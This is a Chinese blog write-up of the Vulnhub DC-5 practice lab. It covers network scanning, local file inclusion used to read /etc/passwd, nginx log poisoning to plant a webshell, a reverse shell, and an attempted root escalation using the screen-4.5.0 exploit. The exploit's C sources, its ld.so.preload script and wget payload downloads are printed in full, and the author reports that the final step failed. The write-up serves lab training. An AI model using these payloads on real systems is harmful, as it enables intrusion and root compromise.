freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub练习DC-5 完整复现
Koi 2024-01-30 13:46:53 106130

注:最后提权那步失败了,若有大佬看到此文,还望指出问题,不胜感激!

由于本靶机被搁置一段时间,IP地址会有变化

故:192.168.200.11和92.168.200.58 都是靶机IP地址

一、准备工作

kali: ip 192.168.200.14

dc-5 : ip地址未知

二、信息收集

1、扫描i网段的主机存活

经常使用的三种方法

arp-scan -l # 第一种方法
# 轻量级扫描工具

nmap -sP 192.168.200.0/24 -T4 # 第二种方法结合nmap
# ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-T4	针对TCP端口禁止动态扫描延迟超过1MMS

netdiscover -i eth0 -r 192.168.200.0/24 # 第三种方法 -i是指定网卡,-r扫描一个地址段
# Netdiscover 是一个主动/被动的ARP 侦查工具。

1706593337_65b88c3937b85f2dea415.png!small?1706593338059

2.探索此网站开放的端口信息

nmap -sS -A 192.168.200.11 -p 1-65535
#  (sS) 这是一个基本的扫描方式,它被称为半开放扫描,
因为这种技术使得Nmap不需要通过完整的握手就能获得远程主机的信息。
Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会**在目标主机上产生任何日志记录
-p     扫描指定端口
-A     启动Os检测,版本检测,脚本扫描和traceroute
nmap -sV -p-  192.168.200.11 
-sV     探测服务/版本信息
-p      扫描指定端口

1706593345_65b88c4135ece358c6438.png!small?1706593345765

1706593351_65b88c4737dd30722e5d6.png!small?1706593352111

开放端口有三个:80(http默认端口)和111端口、43853端口

登录网页,到这个页面发现每次刷新网页,页面下面的时间会随之改变,这可能存在文件包含

1706593358_65b88c4eef26980bf66d5.png!small?1706593360291

1706593364_65b88c54d9eeb452d2db6.png!small?1706593365228

扫描目录,查看以下此页面的网页

3.扫描后台目录

1706593371_65b88c5bbfdb705c40fda.png!small?1706593372248

其他目录在本网页当中都是存在的,当访问这个不存在的网页时出现下面这个场景,那么猜测是有文件包含漏洞的

thankyou.php包含了footer.php

三、漏洞利用

文件包含发现

1706593384_65b88c6882d1b03a8e93f.png!small?1706593385099

利用

?file=/etc/passwd 指令,出现预想中的效果

1706593394_65b88c7215d07142fc96e.png!small?1706593394516

由于当前网站的web服务器使用的是nginx,在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,先看一下能否访问(若不知道log的存放位置,可以百度此版本号的服务器查询即可)

1706593401_65b88c794c9414a599369.png!small?1706593401620

百度结果,那么利用如下路劲将webshell写入进去log

/var/log/nginx/error.log 
/var/log/nginx/access.log 

利用日志写入webshell

1706593410_65b88c82b79a248eb0bea.png!small?1706593411028

利用burp或者直接更改URL都可以

1706593417_65b88c8976b1c0442716d.png!small?1706593417789

访问日志连接,可以看到一句话木马已经被写入到了日志(关杀软)

1706593424_65b88c9001520826c1cfb.png!small?1706593424826

webshell连接成功

1706593430_65b88c9682a1c4b5cea88.png!small?1706593430993

在kali上进行监听

1706593438_65b88c9e63e8c739ff2b3.png!small?1706593438720

在蚁剑终端上反弹shell,建立永久连接

1706593444_65b88ca45443f3a9dde64.png!small?1706593444568



使用python交互界面

python -c 'import pty;pty.spawn("/bin/bash")'

提权

查看有suid的文件夹,寻找能够提权的信息

find / -perm -u=s -type f 2>/dev/null

1706593459_65b88cb3e6a76b3625ed6.png!small?1706593460757

利用screen-4.5.0的版本

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。

GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能

KALI搜索

searchsploit screen 4.5.0

1706593472_65b88cc09555f19622623.png!small?1706593473070

再不破坏原有文件的前提下,复制源文件

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

查看文件

1706593479_65b88cc77373e5d5d0e98.png!small?1706593480326

尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下

1706593486_65b88cceca68d815a595f.png!small?1706593487589

编译文件

以下按照所给EXP操作

第一部分 -----》libhax.c

#include <stdio.h>
 
#include <sys/types.h>
 
#include <unistd.h>
 
__attribute__ ((__constructor__))
 
void dropshell(void){
 
    chown("/tmp/rootshell", 0, 0);
 
    chmod("/tmp/rootshell", 04755);
 
    unlink("/etc/ld.so.preload");
 
    printf("[+] done!\n");
 
}

用命令编译,生成libhax.so 文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

1706593500_65b88cdc13103b7246c9f.png!small?1706593500509

第二部分-------rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译生成rootshell.c

gcc -o rootshell rootshell.c

1706593511_65b88ce7e081ee844b9c2.png!small?1706593512408

第三部分----》DC-5.sh

#!/bin/bash
# 编译成脚本文件要加头

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

1706593520_65b88cf0d06c573943c9f.png!small?1706593521308

然后本地开启一个HTTP服务

python -m http.server 8899


将编译好的三个文件上传至靶机目录

wget http://192.168.200.14:8888/rootshell
wget http://192.168.200.14:8888/libhax.so
wget http://192.168.200.14:8888/DC-5.sh

1706593533_65b88cfd5e413f3166d43.png!small?1706593534570

运行DC-5.sh 文件,进行提权,失败

显示这样的报错问题,提示glibc_2.34不能被找到,这应该是过低还是过高导致的问题呢、

1706593542_65b88d06c280657a4129f.png!small?1706593543210

原文参考:

https://blog.csdn.net/qq_34028816/article/details/124572718

# web安全 # 系统安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 Koi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
靶机练习
Koi LV.6
每个人都是都是独一无二的个体。
  • 41 文章数
  • 28 关注者
Noob 靶场完整解析
2024-03-23
Al-Web-1.0 靶机 渗透测试
2024-03-20
Vulhub 练习 DC-4靶机完整复现
2024-03-11